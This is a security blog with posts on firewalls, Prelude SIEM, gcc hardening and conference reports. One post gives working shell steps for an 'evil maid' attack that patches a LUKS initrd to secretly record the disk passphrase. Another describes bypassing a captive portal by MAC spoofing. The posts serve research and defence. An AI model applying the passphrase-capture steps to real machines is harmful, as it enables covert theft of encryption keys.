Flux RSS

Wednesday 16 June 2010

LE pare-feu OpenOffice

Internet ça a du bon. Enfin, pas toujours .. Et en combinant une jolie boulette avec quelques outils, on peut réaliser des choses dont personne n'aurait pensé au début ..

En bref, et notamment pour faire suite au challenge que certaines personnes m'ont lancé au SSTIC 2010 (très bonne année d'ailleurs), le voila: LE pare-feu OpenOffice ! Mais attention: pas un truc codé à l'arrache, nan, un vrai pare-feu avec un design toussa

Donc, comment ça marche:

  • on veut filtrer des paquets avec OpenOffice, donc on a besoin d'OpenOffice
  • n'ayant pas eu le temps de planifier le portage d'OpenOffice en mode noyau, j'ai donc fait l'inverse: amener les paquets en espace utilisateur avec nfqueue + python
  • on manipule OO avec python-uno

Donc, je commence à coder: on crée une feuille calc avec les numéros de ports à filtrer, je récupère la valeur des cellules (et là je peux vous le dire: quand on a l'habitude de LaTeX, OO c'est pas la joie), et on s'en sert pour filtrer les paquets récupérés par nfqueue.

Premier problème: pour utiliser nfqueue, il faut être root. Et faire tourner OpenOffice en root (donc avec une interface graphique) sur le firewall, c'est pas top. Pas de problème ! On va donc séparer les idées, pour pouvoir:

  • installer la couche de filtrage (en root) sur le pare-feu
  • installer OpenOffice sur le poste de l'administrateur, avec une couche de communication entre les deux.

Donc, le design de la solution (schéma faire avec OO - et surtout du mal - pour pas multiplier les technos):

Design OOwall

Pour le serveur XML-RPC, j'ai pris pyUNOserver

Après, il reste à définir le format de la feuille calc. Au départ, je comptais juste utiliser une colonne pour avoir les numéros de port à autoriser, mais quand même on fait un pare-feu qui s'adresse à des décideurs, donc va falloir faire mieux. Donc, idée: on va ajouter des colonnes pour avoir des compteurs de paquets droppés ou acceptés, et on va les mettre à jour en temps réel. Et c'est là qu'on commence à comprendre la vraie puissance du truc (ou pas): on va pouvoir faire des graphes ! Et, bonus point, ils seront remis à jour en temps réel !

Après le bla-blah, les screenshots:

Le prototype original Le prototype original

La version améliorée: La version améliorée

Et donc, le code dans tout ça ?

D'abord, on envoie tout le trafic TCP sortant vers NFQUEUE:

# iptables -A OUTPUT -o eth0 -p tcp -j NFQUEUE

On lance le serveur XML-RPC avec OpenOffice sur le poste de l'admin:

$ ./startPyUnoServer.sh &

Et, sur le pare-feu, on lance le script:

$ sudo python2.6 oowall.py
localhost - - [16/Jun/2010 22:00:37] "POST /RPC2 HTTP/1.0" 200 -
/home/pollux/oowall.ods
...

Et ça marche !

Le code est dispo (j'ai juste copié les fichiers ...) sur: http://www.wzdftpd.net/downloads/oowall/

J'ai fait une video, dispo ici: http://www.wzdftpd.net/downloads/oowall/video_oowall.avi ou sur youtube: http://www.youtube.com/watch?v=pftjkGAORkA

Conclusion

Il fallait faire mieux que le pare-feu météo, là je pense que l'objectif a été atteint. Seule déception: pas avoir pu le faire à temps pour les rumps du SSTIC :/ Maintenant, vous pourrez générer en live des statistiques, des rapports PDF, des présentations, donc la sécurité rejoint enfin le côté user-friendly.

Il y a pas mal d'évolutions possibles, notamment le fait d'utiliser des macros, pouvoir sécuriser la connexion XML-RPC etc.

Pour les performances, c'est tout simplement assez lamentable (ici j'ai ~10 paquets par seconde), mais finalement c'est mieux parce que ça empêchera surtout le peer to peer :)

update: apparemment, j'ai été un peu pessimiste, j'ai réussi à atteindre presque 200 paquets / seconde :)

Saturday 6 February 2010

Creating a live cd for open source SIM Prelude and Suricata

I have started to work on a Live CD for Open Source tools like Prelude SIEM, and software like Suricata, Snort, OpenVAS to send alerts. The goal is to easily test these tools, register new agents, get some alerts and be able to correlate them etc. I also want to add some visualization tools, so this CD could maybe become a reference for security alert detection and report.

Prewikka

First, a few points on applications used:

  • Debian Live for building the CD. It's very easy, it's based on Debian, and it allows me to re-use some work I've done
  • Suricata IDS, which is a very promising project
  • Snort IDS, with the free signatures
  • OpenVAS to be able to generate alerts
  • Prelude SIEM is the key point: suricata, snort, syslog etc. will send alerts to Prelude, which has a database, a correlator, a web interface (Prewikka) etc.
  • Standard useful tools: nmap, scapy, wireshark, p0f, etc.

This first version is based on Debian Lenny and arch x86. Everything is based on packages (.debs) to make it easier to maintain, upgrade versions or add patches: most of the time, I just have to rebuild packages from squeeze or sid.

The build tools are:

  • Debian live (package name is live-helper, I'm running sid/unstable here)
  • About 2-3 GB of free space (including cache, chroot and image).
  • A local Debian repository for custom packages (I use reprepro)
  • (optional) a chroot or pbuilder for rebuilding packages (I use cowbuilder).

Building the CD

You need to be root for that. We'll assume you have created a container directory (for ex. LIVE_SIEM) and extracted the sources in that directory.

Configuration is done in the config subdir. Added packages are just named in packages lists (files in the config/chroot_local-packageslists/ directory). D-L is nice, since it respects dependencies so you add the name of the package and it should be enough.

Default window manager is LXDE, to have a good compromise between size, speed and features. You can change that in file config/chroot.

Default keyboard is qwerty

Just run:

* lh clean
* lh build

and wait for a few minutes. The first command cleans up the chroot and binary directories (keeping the cache), and the second will rebuild completely the cd (download required packages, install them in chroot, run hooks, create compressed image etc.). Clearly, this is not the fastest way of making changes and quickly rebuilding the ISO, and it can be quite boring if you have to test small changes .. Using individual helpers (See this page) may help.

After that, you should have a file called binary.iso in the directory.

Download

I've uploaded a very preliminary version of the iso here: http://live.nufw.org/dl/siem-live-20100205.iso

Edit

Download page is now available : http://www.prelude-technologies.com/dl/ The homepage is in French for the moment, I'll add the english version ASAP.

Changes: add GLPI, OCS Inventory, Prelude Notify and a basic homepage

This iso has:

  • A qwerty keyboard
  • Prelude + syslog + snort configured and installed, started on boot
  • OpenVAS (server and client) installed but not started (due to the number of plugins, server can take several minutes to start ..)
  • Suricata 0.8 installed and basically configured to use all snort signatures. You have to start it manually, for ex.
sudo suricata -c /etc/suricata/suricata.yaml -i eth0

and look in /var/log/suricata/*.log for alerts

  • other tools like Scapy (hint: use ipython to use it in interactive mode), OpenSCAP libraries, etc.

Test

I don't like to reboot, so to test I use VirtualBox or qemu:

qemu -net tap -net nic -boot d -cdrom {build-root}/binary.iso -m 256

During the boot sequence, the live CD will automatically configure applications:

  • create databases
  • setup a default working configuration for most applications
  • create and register Prelude profiles for all applications supporting it
  • start X, and open a browser on the local Prewikka (default login is admin/admin)

SIEM live boot

Prewikka

What to do after boot ?

The live cd is running a syslog server, you can configure some servers / equipments to send logs and they will automatically be analyzed by Prelude.

You can connect to the http server to see the Prewikka interface (default login/pass is admin/admin).

To change the keyboard layout at runtime, use setxkbmap kb, where kb is the keyboard layout to use (for ex fr or de).

Next step ?

I'm waiting for ideas / contributors / whatever :) I'll update suricata with a recent version as soon as it will have support for Prelude, and other tools. Just reply to this post (or contact me) if you have any suggestion.

Help would be appreciated to add visualization tools etc.

Edit

Git repository is up !

Wednesday 28 October 2009

implementing the evil maid attack on linux with Luks

This month, Joanna Rutkowska implemented the "evil maid" attack against TrueCrypt [1].

This kind of attack can be done on any OS with disk encryption: when using whole-disk encryption, you have to infect to bootloader. Linux includes dm-crypt/LUKS, which has some nice features (including TKS1 and working encrypted suspend-to-disk). But how does it play with this attack ?

Sadly, the answer is: pretty bad. LUKS has no protection against this attack, and even requires a /boot partition in clear. Before looking at the possible solutions, we'll play with the /boot partition to see how simple the attack is.

Linux boot sequence basics

The boot sequence (See [2]) is the following:

  • System startup: the BIOS is loaded, searches for a boot medium, loads the MBR, and yields control to it.
  • Boot loader stage 1: the job of the primary boot loader is to find and load the secondary boot loader (stage 2)
  • Boot loader stage 2: its jobs is to search and load the Linux kernel and initial RAM disk (initrd) images.
  • Linux kernel: it starts by uncompressing itself, then mounts the initrd image. This image contains modules and scripts required to find the root filesystem. After the root fs is found, the kernel switches its / partition (using the pivot_root method) and lets init continue.
  • Init: the first task executed.
Hacking the ramdisk (for fun and profit)

While dm-crypt is embedded in the Linux kernel, no solution is offered for Pre-Boot authentication. This means that the Linux and initrd images are stored on a clear partition. The job is then only to edit the initrd image, find a way to capture the passphrase when typed, and store it for later use.

Editing the initrd image

The initrd image is stored in /boot, and is a compressed cpio image:

mkdir tmp
cd tmp
gunzip < ../initrd.img-2.6.30-2-686 |  cpio -i

Early crypto and root partition

(This part was tested on a Debian sid) The initrd image contains a hierarchy of directories:

$ ls
bin  conf  etc  init  lib  sbin  scripts

The interesting file is scripts/local-top/cryptroot. This script searches for the partition to decrypt, uses a secure program to ask the passphrase (aha) in a secure memory location, and calls cryptsetup to decrypt the device. The relevant section is:

if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
      $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
 	message "cryptsetup: cryptsetup failed, bad password or options?"
 	continue
fi

Here are the steps to do:

  • display the usual message, to avoid alerting the user:
message -n "$cryptkey"
  • read the answer, without echo:
read -s BLAH
  • save it for later use. This is a bit more "difficult", since you don't have access to the filesystem at this point, and the root fs is switched anyway after. However, it seems that the /dev partition (especially when using udev) it not remounted ... let's use it:
echo $BLAH >> /dev/.blah
  • decrypt the partition as usual. We just have to adapt the decryption line:
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
     echo -n "$BLAH" | $cryptcreate --key-file=- ; then
  • finally, re-create the initrd image:
find ./ | cpio -H newc -o > initrd.cpio
gzip initrd.cpio
mv initrd.cpio.gz ../initrd.img-2.6.30-2-686

Test it

After a reboot, the boot sequence looks the same as usual and everything goes fine. Maybe except:

# cat /dev/.blah
secret

Next?

See how trivial this was ? The next step could be to get the infection process automatic, or to broadcast the passphrase in mDNS broadcasts or whatever :)

Possible solutions

The real protection is Trusted Platform Module (TPM). It's goal is to have a trusted path for the entire boot sequence (from power on, bios etc. to running OS), However, it raises concerns about its potential uses, especially for antitrust respect (Palladium?) or for the money-vampires of RIAA and friends (DRM?).

To protect against these attacks, the most basic protections can be pretty efficient (assuming you don't need a military-grade protection):

  • Set a password on your Bios, to avoid booting on USB, for ex.
  • Ensured the box can't be opened
  • Set (another) password on the bootloader, so people won't add init=/bin/bash
  • When encrypting your disks, don't forget the swap !
  • Always mount /boot as read-only, run a checksumming program like aide to detect modifications.
  • Don't forget the basics: set up good passwords, change them regularly, store them with a correct hash [3], always lock your screen, etc.

These suggestions won't cost you additional hardware, are pretty easy to do, and will at least raise your security by slowing down intrusions (which now requires to find a way to boot), and detect them easily (changed file, computer rebooted unexpectedly or opened etc.). And anyway, if someone has (physical) access to your computer for a good period of time, it's over ;)

Have fun !

Notes

[1] http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-truecrypt.html

[2] http://www.ibm.com/developerworks/library/l-linuxboot/index.html

[3] To make PAM use sha512 instead of MD5, just add sha512 to the line containing password pam_unix.so in /etc/pam.d/common-password or the equivalent for your distro

Thursday 17 September 2009

Playing with OpenDPI

So, Ipoque has published its deep inspection engine under a free license (LGPLv3): OpenDPI This is always good news when a company decides to release source code to the community, so first of all thanks to Ipoque for this.

After downloading the source code on OpenDPI google project's page, I started to look at it.

Basically, the project looks quite unprepared for release (only a Makefile, no configure script - though no-one can be blamed for not using autotools -), but after looking at the code it seems not so bad:

  • the code is reasonably clean
  • it builds fine on x86 or x86_64 platforms
  • the code is provided with a decent list of identified protocols
  • the demo uses pcap files

There are a few minor annoyances:

  • the provided lib is a static lib ... building a shared library would be better !
  • the build system is pretty awful, rebuilding everything each time, without using deps, no install system etc.
  • no docs (looking at the demo file was sufficient to understand most of the function).
  • no correct website, forums or whatever. I'm sure it will get better in the future
  • pcap only

This last point was the most annoying to me, so I decided to rewrite a daemon using the NFQUEUE target. While I could have used the nfqueue-bindings, I decided to use C this time: it was simpler ! I only had to recode the open/close/runloop functions to use nfqueue, extract the packet from the nfqueue callback, and use the exact same callback as for pcap :)

Here is the relevant parts of the interesting code:

static int _nfq_cb(struct nfq_q_handle *qh,
		    	 struct nfgenmsg *nfmsg,
			 struct nfq_data *nfad, void *data)
{
       [...]
	struct nfqnl_msg_packet_hdr *ph = nfq_get_msg_packet_hdr(nfad);

	if (ph)
		id = ntohl(ph->packet_id);

	payload_len = nfq_get_payload(nfad, &payload);
	iph = (struct iphdr*)payload;

	ret = nfq_get_timestamp(nfad, &tv);
	time =
		((uint64_t) tv.tv_sec) * detection_tick_resolution +
		tv.tv_usec / (1000000 / detection_tick_resolution);

	// process the packet
	packet_processing(time, iph, payload_len, payload_len);

	nfq_set_verdict(qh, id, NF_ACCEPT, 0, NULL);

	return 0;
 }

The proof-of-concept code works fine. As seen on this discussion, maybe Ipoque folks would be interested in a contribution :D No netfilter integration is needed, just playing with nfqueue + mark for filtering should be enough for most cases.

The code is not yet published, because it doesn't do anything useful yet (just try to identify and follow protocols and flows). If you're interested, contact me (remove the _ signs).

Monday 1 June 2009

LinkedIn group for Prelude

I've just created a LinkedIn group for Prelude IDS.

All Prelude users are welcome to join the Prelude IDS group to stay in touch with other Prelude users, use the forums, get news etc.

Wednesday 27 May 2009

New Syslog RFCs

Several new RFCs for syslog have been issued in March:

So what are the improvements since the previous RFC (3614), especially in RFC5424 [1]:

  1. In section 5.1, "Minimum Required Transport Mapping":
    All implementations of this specification MUST support a TLS-based transport as described in RFC5425.
    Yay ! So they discovered TLS, that's great. Especially since RFC 5425 supports certificates authentication (section 4.2.1), certificate path validation, fingerprints, etc.
  2. Improved timestamps (Section 6.2.3) with supports for milliseconds, time zones, UTC offsets
  3. Section 6.3 describes structured data (name-value pairs)
  4. Section 7: Structured Data IDs
    This allows using an enterprise ID (registered to the IANA) for the structured data elements

However, nothing really useful on reliability (resending events, making sure they were delivered, etc.) except the very poor (and useless) section 8.5, which only acknowledges the lack of support :/ Well, Prelude IDS can do that pretty good.

Also, nothing on taxonomy, though it may be improved with structured data. However, it would require a good definition of events, formats etc, and given the current state of CEE, which is quite dead (3 mails on the list so far this year), it won't improve .. There is something to be done here.

Notes

[1] Some of the features (like TLS) are already present in good implementations of syslog (like rsyslog).

Friday 6 February 2009

Vulnerabilities (phpbb, squirrelmail)

Just after phpbb website has been compromised (see the detailed explication on this blog, another big problem just appeared, this time on squirrelmail:

SECURITY: Plugins Security Alert
Feb 05, 2009 by Paul Lesniewski
 	We are sorry to announce that we've had a security breach with our plugins system. An attacker uploaded at least
       four modified plugin packages, which we have since rectified. If you have downloaded any of the following
       plugins since January 17, 2009, you should immediately replace them (download them again):
AnnotateMore Server and Mailbox Annotations version 0.2
CAPTCHA version 1.1
Change LDAP Password version 2.2
Sieve Mail Filters version 1.9.7

ouch ! Squirrelmail does not give much details on the impact, but given that these plugins can touch passwords, that can be very bad ...

Tuesday 30 December 2008

Creating a rogue CA certificate

Today was given a nice presentation at CCC, entitled MD5 considered harmful today: Creating a rogue CA certificate.

It explains that, despite being broken since several years MD5 is still used is some important CA. Using this attack, they were able to generate a rogue CA certificate, and so were able to issue certificates which are marked as trusted by all browsers. As a result, the security of some websites like banks or e-commerce could be severely compromised !

So it seems that, unlike people promising the end of the world (like Dan Kaminsky at BlackHat 2008, Kris Kapersky at HITB, and Robert E. Lee and Jack C. Louis at T2 and Sec-T), this one could really lead to some serious consequences.

Congrats to them !

Solutions:

  • Ban MD5 and such certificates (like those issued by RapidSSL, even in 2008)
  • For CA implementations, randomize the serial of issued certificates could help mitigate the problem

Links:

Tuesday 11 November 2008

Captive Portals are BAD !

Captive portals almost always work by validating the IP address of the client, and often the MAC address. This creates a wrong feeling of security, because it is quite easy to bypass. Let's explain the most common problem: spoofing.

Installing a captive portal

I have chosen to install Alcasar, which claims to be a highly secure solution developed by the French Ministry of Defense.

First surprise, it's a shell script ! In fact, it's not really an application, only an installer for a few packages, with some configuration. Installation went pretty bad:

  • the installer only works for a specific version of Mandriva (2007), which is quite old, and buggy on my hardware
  • most things are hardcoded: the installer exploded without errors because my network is not ending by a 0 (10.0.0.129/25)
  • my third network card is not even used by the script ! Too bad for the DMZ

After 4 or 5 retries, and modifications in the script, I finally got a working server.

First tests

After a reboot, everything seems to work. Got an address using DHCP, I try to connect to Google .. ok, the captive portal appears and asks for a login. With the administration interface, I create a user, login, then tries to redirect me to the site, good. Except that the connection is never done ! After searching everywhere, I decide to use ssh to debug the problem on the server. After a few strace commands, I found that squid is trying to connect to the wrong host ! Yet another bug in the installer ...

After fixing a few more bugs, I finally succeed to use the captive portal.

Administration interface

The administration interface is nothing more than a user editor (it use its own user database), and a few statistic tools like AWStats and Firewall Eyes. Ouch, a log analyzer ! This means you won't be able to make complicated searches, and I have serious doubts about the ability to parse big log files.

The captive portal software itself is Chillispot, which is quite good but appears to be unmaintained (no release since 2 years).

The log analysis tools are very poor, not to say rudimentary. There is no easy way to find which user was connected on a host at a specific date, you have to dig yourself through several poor interfaces, connecting to the server and using grep is much more efficient !

Rules

Yet another surprise, there is no way to create rules to specify which protocols are authorized. I was supposing that only HTTP and HTTPS were allowed, but in fact when you are logged everything is open. No tools are provided, so you have to know iptables well :)

Confidentiality

Alcasar generates a self-signed certificate and uses HTTPS connections for login. This has to be treated seriously, because the certificate is self-signed, so it will be quite easy to generate another self-signed certificate with the same parameters to make a man-in-the-middle attack: most people will only look at the certificate and then validate it without questions ....

Strict security ?

Alcasar is developed by serious guys, and claims to comply with the French laws. It also claims that it allows to authenticate users and identify them strictly, and that these information could be used by the police. Scary.

I decided to run a very simple test, to check if Alcasar would be resistant to IP or MAC spoofing. I connected 2 laptops on the network, and login on one of them. The following steps are very easy: On the laptop not connected:

  • start wireshark, and listen passively to get the IP and mac address of the host In a few seconds, I got them

  • change my IP and MAC addresses

In fact, you do not have to run the first and third commands: only change the MAC address and launch the DHCP client. You'll get the same IP address as the real host, and the gateway will be configured.

  • connect to a site:

Here you are ! In one command, you are connected !

Note: it is illegal to bypass a security protection. The commands here are provided for educational purposes only, do not use them or you could be prosecuted. However, the commands explained here are so easy a child could use them, so you have to know them and to defend.

Am I caught ?

Alcasar haven't seen the intrusion :) In fact, the problem is worse: I am logged with the identify of the other user, meaning that my actions will be logged with his name ! As there are no iptables rules by default, I was able to connect to an SSH server outside without problems.

Conclusion

Alcasar is only a set of scripts and configuration files based on other software. As for other captive portals, it is vulnerable to very simple attacks. The situation would not be as bad if Alcasar was not trying to present itself as a strict security solution. I would really be scared if my company was using a captive portal to handle internet access, because it gives a false feeling of security, can be bypassed very easily, and because of that, its logs cannot be used as legal stuff : no serious judge would take into account a solution which can be bypassed in a few seconds.

Captive portals like Alcasar provides a weak protection against attacks. If you want strict authentication of users, and protection against IP or ARP spoofing, use NuFW, it's free (as free beer) and free (GPL).

Update

Etant donné le nombre de questions qui me sont posées en privé par des gens (venant du forum Ubuntu en particulier), je fais donc une mise à jour (en français, vu le public concerné):

  • Je n'ai rien contre les portails captifs, à partir du moment où on les laisse dans cette catégorie (ouvrir quelques accès sans grand besoin de contrôle ou de sécurité). Par contre, quand on prétend les utiliser pour de la sécurité ou de la tracabilité, il faudrait comprendre que ce n'est pas l'outil adapté
  • Ethernet est un protocole qui n'est pas conçu pour de la sécurité. Si la solution prétend solutionner le problème, tant mieux pour eux (mais là comme ça j'en doute)
  • Ce qui est aberrant c'est 1-le décalage entre le discours affiché et la sécurité obtenue, et 2-la simplicité réelle du problème. Il semblerait que d'autres s'en soient rendu compte sur leurs forums, ou comme sid (Cédric Blancher) l'a déjà montré pendant un lightning. Comme il le dit lui-même:
L'infrastructure mise en place, qui vise à authentifier les utilisateurs, 
ne remplit pas son rôle. C'est mal, les administrateurs ont bossé pour  rien.
  • Certaines personne n'ont pas compris le discours. Comme (toujours par Cédric) explique dans cette version (excellente lecture, je vous conseille), il y a de très nombreuses manières de contourner un portail captif comme alcasar, et l'usurpation MAC/IP n'est que la plus simple d'entre elles. La solution existe, et au lieu de bricoler sur des protocoles, il parait plus sain de chercher une vraie solution (chercher du côté de 802.1x par exemple).
  • Concernant le troll alcasar-nufw, je n'ai rien à dire, à part que NuFW est dans Debian, donc que le côté libre n'est plus à démontrer et que certaines personnes sur les forums en question racontent vraiment n'importe quoi. D'ailleurs je ne vois en quoi les gens comparent Alcasar et NuFW, le premier est un portail captif, le deuxième un firewall par identité ...

Sunday 19 October 2008

Materials for CanSecWest 2008

These talks are probably online since a while, but as most of them are really interesting, have a look at CanSecWest 2008 conference materials:

Globally, there were many talks on fuzzers, some interesting work on cold boot attacks, a confirmation that anti-virus are also vulnerable, and a very nice presentation from the CCC guys on how to "dissassemble" an RFID chip :) I also liked the last presentation, which was not really about security stuff, but more about how a software could help determining the character and the pathologies of a guy, from his writings. Scary !

One bad point, though: commercial presentations with no real contents. VMWare folks, for ex., coming to say "hey, we have the best security API, we can monitor stuff from the VMX server" etc., that's cool. But when someone asks to see the code, or how to use the API, the answer was "well, eeeh. We can't show you, but it's cool, believe us".

Congrats, and thanks, to Dragos for keeping this conference high-quality over years.

Wednesday 28 May 2008

gcc security features (part 2)

(See part 1)

Remember: you must compile with -02 if you want the checks to be effective

DEB_BUILD_HARDENING_FORTIFY (gcc/g++ -D_FORTIFY_SOURCE=2)

The idea behind FORTIFY_SOURCE is relatively simple: there are cases where the compiler can know the size of a buffer (if it's a fixed sized buffer on the stack, as in the example, or if the buffer just came from a malloc() function call). With a known buffer size, functions that operate on the buffer can make sure the buffer will not overflow.

Example:

void foo(char *string)
{
	char buf[20];
	strcpy(buf, string);
}

Execution will fail:

[home ~/harden] ./bad $(perl -e 'print "A"x100')
zsh: segmentation fault  ./bad $(perl -e 'print "A"x100')

When compiling with -D_FORTIFY_SOURCE=2, gcc will add some checks to detect the overflow and terminate the program:

[home ~/harden] DEB_BUILD_HARDENING=1 make
[home ~/harden] ./bad $(perl -e 'print "A"x100')

*** buffer overflow detected ***: ./bad terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x37)[0x2ba8d18fb787]
/lib/libc.so.6[0x2ba8d18f9e70]
./bad(main+0x26)[0x555555554856]
/lib/libc.so.6(__libc_start_main+0xf4)[0x2ba8d18411c4]
./bad[0x555555554789]
======= Memory map:  ========
2ba8d1607000-2ba8d1622000 r-xp 00000000 03:01 468316                     /lib/ld-2.7.so
2ba8d1622000-2ba8d1625000 rw-p 2ba8d1622000 00:00 0 
2ba8d1821000-2ba8d1823000 rw-p 0001a000 03:01 468316                     /lib/ld-2.7.so
2ba8d1823000-2ba8d1961000 r-xp 00000000 03:01 471074                     /lib/libc-2.7.so
2ba8d1961000-2ba8d1b61000 ---p 0013e000 03:01 471074                     /lib/libc-2.7.so
2ba8d1b61000-2ba8d1b64000 r--p 0013e000 03:01 471074                     /lib/libc-2.7.so
2ba8d1b64000-2ba8d1b66000 rw-p 00141000 03:01 471074                     /lib/libc-2.7.so
2ba8d1b66000-2ba8d1b6c000 rw-p 2ba8d1b66000 00:00 0 
2ba8d1b6c000-2ba8d1b82000 r-xp 00000000 03:01 1045795                    /lib/libgcc_s.so.1
2ba8d1b82000-2ba8d1d82000 ---p 00016000 03:01 1045795                    /lib/libgcc_s.so.1
2ba8d1d82000-2ba8d1d83000 rw-p 00016000 03:01 1045795                    /lib/libgcc_s.so.1
555555554000-555555555000 r-xp 00000000 03:07 1225                       /home/pollux/harden/bad
555555754000-555555755000 r--p 00000000 03:07 1225                       /home/pollux/harden/bad
555555755000-555555756000 rw-p 00001000 03:07 1225                       /home/pollux/harden/bad
555555756000-555555777000 rw-p 555555756000 00:00 0                      [heap]
7fffd948e000-7fffd94a3000 rw-p 7ffffffea000 00:00 0                      [stack]
7fffd95fe000-7fffd9600000 r-xp 7fffd95fe000 00:00 0                      [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
zsh: abort      ./bad $(perl -e 'print "A"x100')

The difference is that there is no segmentation fault, because the program was properly terminated, so no exploit possible. A backtrace is also printed to help.

It is possible to detect if a program is using such checks by using objdump:

[home ~/harden] objdump -d bad | grep call |grep _chk
 84b:   e8 c0 fe ff ff          callq  710 <__stack_chk_fail@plt>

If there is one line or more, FORTIFY_SOURCE is active. However if the output is empty, FORTIFY_SOURCE either might not be enabled, or the program code is such that FORTIFY_SOURCE is not applicable (for example: secure code that has no static buffers and always checks buffer sizes, and thus FORTIFY_SOURCE cannot identify any potentially dangerous operations in the program).

Tuesday 22 April 2008

gcc security features (part 1)

Since recent versions (>= 4.0, maybe before), gcc (and ld) has some nice security features. Debian has created a wrapper for the toolchain, to make the use of these features easy.

To install the wrapper, run:

apt-get install hardening-wrapper

To enable the hardening features, you have to export the environment variable:

export DEB_BUILD_HARDENING=1

The features include additional checks for printf-like functions, stack protector, using address-space layout randomization (ASLR), marking ELF-sections as read-only after loading when possible, etc.

Please note that you must compile with -02 if you want the checks to be effective

DEB_BUILD_HARDENING_FORMAT (gcc/g++ -Wformat -Wformat-security)

Ask gcc to make additional checks on format strings, to prevent attacks.

The following code, for ex:

printf(buf);

will result in a warning:

[home ~/harden] DEB_BUILD_HARDENING=1 make
gcc     bad.c   -o bad
bad.c: In function ‘main’:
bad.c:10: warning: format not a string literal and no format arguments

Why is this code vulnerable ? Because the buffer (buf) could contain format characters like %s, and the printf function will interpret these characters to pop arguments from the stack, and can result in the execution of arbitrary code.

Solution:

  • Replace previous code by
printf("%s",buf);
  • Remember this is also true for other functions like syslog()
  • Tell gcc to help ! You can mark your own printf-like functions using gcc attributes, for ex:
void out_log(int level,const char *fmt,...)
#ifdef __GNUC__
  __attribute__((__format__(printf,2,3)))
#endif
;

DEB_BUILD_HARDENING_RELRO (ld -z relro)

When loading a program (which is handled by ld-linux.so), many ELF sections are written and so marked as read-write. However, most of them could be turned read-only after. This options tells the linker to mark as much sections as possible read-only.

[home ~/harden] objdump -x bad | grep RELRO
[home ~/harden] DEB_BUILD_HARDENING=1 make
[home ~/harden] objdump -x bad | grep RELRO
  RELRO off    0x0000000000000df0 vaddr 0x0000000000200df0 paddr 0x0000000000200df0 align 2**

Links

Thursday 3 April 2008

BlackHat 2008 materials

The Black Hat Europe 2008 Media Archives are now online. I wasn't there, but the archives contains some interesting materials:

  • Spam-Evolution
  • LDAP Injection & Blind LDAP Injection (see my post)
  • New Viral Threats of PDF Language
  • 0-Day Patch -Exposing Vendors (In)Security Performance
  • Client-side Security
  • Attacking Anti-Virus (there was a presentation on the same subject at CanSecWest and Hack.lu)
  • Investigating Individuals and Organizations Using Open Source Intelligence
  • DTRACE: The Reverse Engineer's Unexpected Swiss Army Knife
  • ...

Related links:

Wednesday 2 April 2008

CanSecWest 2008

Sébastien and I were giving a presentation on IDS Correlation: A Weapon of Mass Investigation at CanSecWest.

Most of the presentations were very interesting, including attacks against the anti-virus software (they are the most interesting targets, imho : run with system privileges, include parser for many protocols, are present on almost all machines, etc.), secure programming with gcc and glibc, snort 3 (our presentation was just after Marty's), fuzzing with Peach, and some others I do not remember at the moment.

We also gave two lightning talks, one on the Authenticating Firewall NuFW (slides here) and one on the Signatures.NU project (slides here).

We even won a beer for doing the presentation :)

After so much work (and eating so much sushis with a delicious wild salmon), we went to Whistler for skiing, that was great.

Many thanks to all the people from the conference and to all who helped us !

Some links:

Thursday 13 March 2008

Prelude quick install

To install Prelude, the Hybrid IDS (or Meta IDS) on Debian, on less than ten minutes, just use the packages:

  • install a database (PostgreSQL or MySQL)
  • install the Prelude manager, all needed packages will be installed automatically
apt-get install prelude-manager
  • during the installation, dbconfig will ask to configure the database. Say yes, and give the parameters. dbconfig will create a new user, set a password, create the SQL schema and configure prelude-manager to use it.

This should be enough for the manager. You will have to configure the listen address for the manager (the default is restricted to localhost) to listen on the network.

To add agents (sensors), you have to install the package and register a new profile for each sensor. For ex:

apt-get install prelude-lml
apt-get install snort

Create a new profile:

prelude-admin register prelude-lml "idmef:w" <manager address> --uid 0 --gid 0
...
prelude-admin register snort "idmef:w" <manager address> --uid 0 --gid 0
...

Follow the instructions for the registration.

Check the address of the manager in the config (global file is /etc/prelude/default/client.conf):

server-addr = 192.168.1.1

For a complete installation guide (with explanations) including the web interface Prewikka, look at the Prelude Etch installation guide and the Prelude Handbook.